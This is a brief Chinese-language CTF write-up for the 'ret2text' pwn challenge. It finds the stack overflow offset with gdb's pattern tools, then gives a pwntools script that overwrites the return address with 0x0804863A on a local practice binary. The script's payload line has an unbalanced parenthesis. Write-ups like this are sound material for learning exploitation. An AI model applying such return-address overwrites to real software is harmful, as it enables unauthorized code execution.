直接gdb ret2text,然后start进调试模式
用gdb自带命令,pattern create 200,生成一个200个字符的字符串,后面会用到。
单走一个r,让程序跑起来 ,且程序会让你输入,把字符串怼进去
然后程序就会报错了,EIP显示的字符就是程序即将执行的字符,需要将这个字符替换为想要执行的函数的地址。
用gdb自带的命令数一下在“AA8A”之前还有多少个字符。
最后上脚本
from pwn import *
p=process('./ret2text')
payload=(b'a'*112+p32(0x0804863A)
p.sendline(payload)
p.interactive()